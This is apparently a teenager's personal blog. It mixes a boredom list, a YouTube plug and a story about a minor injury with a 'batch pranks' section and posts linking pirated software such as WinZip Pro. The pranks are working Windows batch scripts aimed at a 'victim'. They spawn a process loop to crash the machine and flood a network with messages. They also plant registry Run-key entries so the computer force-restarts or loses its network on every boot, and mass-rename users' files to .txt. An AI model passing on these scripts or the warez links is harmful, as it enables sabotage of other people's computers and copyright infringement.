Bored!?

Heres somethings you mighr want to cinsider doing when you bored.

1. Get some downloads, FULL programmes, not some shitty trials - http://www.phazeddl.com

2. Phone a friend ... You should know some numbers .. if not

3. DO A PRANK CALL! This works best if your with a friend, with 2 phones connected, some if your pretending your a bank whilst one of you is talking the other can pickup the phone and say " Hello this is the ban of england :p how can i help you"

4. Play some sports

5. Join a chatroom

6. Watch a movie

7. Listen to some music

MORE COMING SOON

Batch pranks

Becarefull when making a batch file, well if you have any of the following text in it, and you open it you will be screwed

P.s Making a batch tutorial at the end.

Code:

:LOOP
Msg * Birds can't fly without wings...
Msg * Your gonna' die if you can't whistle...
GOTO :LOOP

Great prank that gets the the victim.

Code:

tree C:
@ECHO Please fill in the proper username; if not the above files will be deleted
@ECHO Have fun
@set/p\/name=username:
@ECHO ROFL you got it wrong
@ECHO LAWL you got it wrong again
@ECHO You're killing me here, you got it wrong again
@ECHO Cmon man
@ECHO All files are now being deleted. JUST KIDDING HAVE A GOOD DAY.
pause
shutdown -c Good bye, BTW you have been owned

Crasher - Lets you open an .exe program in a loop causing the computer to lag and hopefully crash.

Code:

@ECHO OFF
:LOOP
START calc.exe
START (name of batch file you created including extension here)
GOTO LOOP

Flood Network - Floods any computers in a network with yours.

Code:

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH

Disable Internet / Network - Great for a good joke.

Code:

ipconfig /release

Shutdown a computer.

Code:

shutdown -r -f -t0

Shutdown a computer every time it is booted up.

Code:

echo @echo off>c:\windows\hartlell.bat
echo break off>>c:\windows\hartlell.bat
echo shutdown -r -t 11 -f>>c:\windows\hartlell.bat
echo end>>c:\windows\hartlell.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d c:\windows\hartlell.bat /f
reg add hkey_current_user\software\microsoft\windows\currentversion\run /v HAHAHA /t reg_sz /d c:\windows\hartlell.bat /f
echo Inching Away strikes again!
PAUSE

Disable Internet / Network Permanently

Code:

echo @echo off>c:\windows\wimn32.bat
echo break off>>c:\windows\wimn32.bat
echo ipconfig/release_all>>c:\windows\wimn32.bat
echo end>>c:\windows\wimn32.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v WINDOWsAPI /t reg_sz /d c:\windows\wimn32.bat /f
reg add hkey_current_user\software\microsoft\windows\currentversion\run /v CONTROLexit /t reg_sz /d c:\windows\wimn32.bat /f
echo Inching Away strikes again!
PAUSE

Change commonly used files (.exe) into .txt files.

Code:

REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

Making a batch file.
1. Open up notepad - Can be found at
Start > all programmes > accesories

2. Dont write anything and save the file as (anything).bat

3. Now find it and write click it, it will look like a command promt click edit
now insert any text above

DO NOT OPEN THEM UNLESS THEY ARE NOT HARMFULL THESE DO WORK

Winzip Pro

Burn New and Existing Zip Files Directly to CD or DVD
FTP Upload New and Existing Zip Files more »
Email Zip File and Logs on WinZip Job Completion more »
Run WinZip Jobs From a History List of Recent Jobs more »
View Full-Size Compressed Images Directly From Your Zip File
Predefined Data Backup Jobs more »
Create Custom, Automated Zipping Tasks (WinZip Jobs) more »
Scheduling Capabilities for Running Zip Jobs more »
Command Line Support (Separate Download) more »
Display Thumbnails in WinZip's Explorer Style View
Best Compression Chooses Compression Method Based on File Type
Improved Compression for Audio Files (WAV)
Extract from .BZ2 and .RAR Files
Attachment Management Support
Quick File Selection
Automatic Update Checking
Flexible Interface; Wizard and Classic more »
Tight Integration with Windows more »
Large Zip File Support more »
128- and 256-Bit AES Encryption more »
E-mail Support (including one click Zip & E-mail) more »
Split Zip File Capability more »
Create Self-Extracting Archives more »

Requirements: Windows 2000, XP or Vista

Download

http://rapidshare.com/files/80416284/Win_Zip_Pro_11.zip

First ware! - Zeallsoft Fun Morph

Zeallsoft Fun Morph is funny and easy to use photo morphing and warping software. Morph and warp face or image of friends, family, celebrities. Turn them into a cat or a pig or any jokes! You can save movie in all popular formats, including avi video, web page, email, greeting cards, animated gif, picture sequence and etc.

Let your imagination run wild, share your morph movie with all your friends and family, they are absolutely incredible!

Download

http://rapidshare.com/files/83302405/Fun_Morph_v6.81.rar

Warez!

I'll be posting some warez i retreived from a website on the net.

I'll also be adding labels so you can find them really easy!

Ouch

Oo, ive been making videos with my next door nieghbor for the past week. We were creating one where, i jumped out of the dustbin. Yet the dustbin fell over leaving me with a headache and maybe a bruise. We should have captured it on video.
I was trying to shout for help, yet it was to late.

My youtube videos.

Please watch some of my videos. Just search Jaceyed23 in the youtube search or go to www.youtube.com/jaceyed23

Ill be adding more videos soon.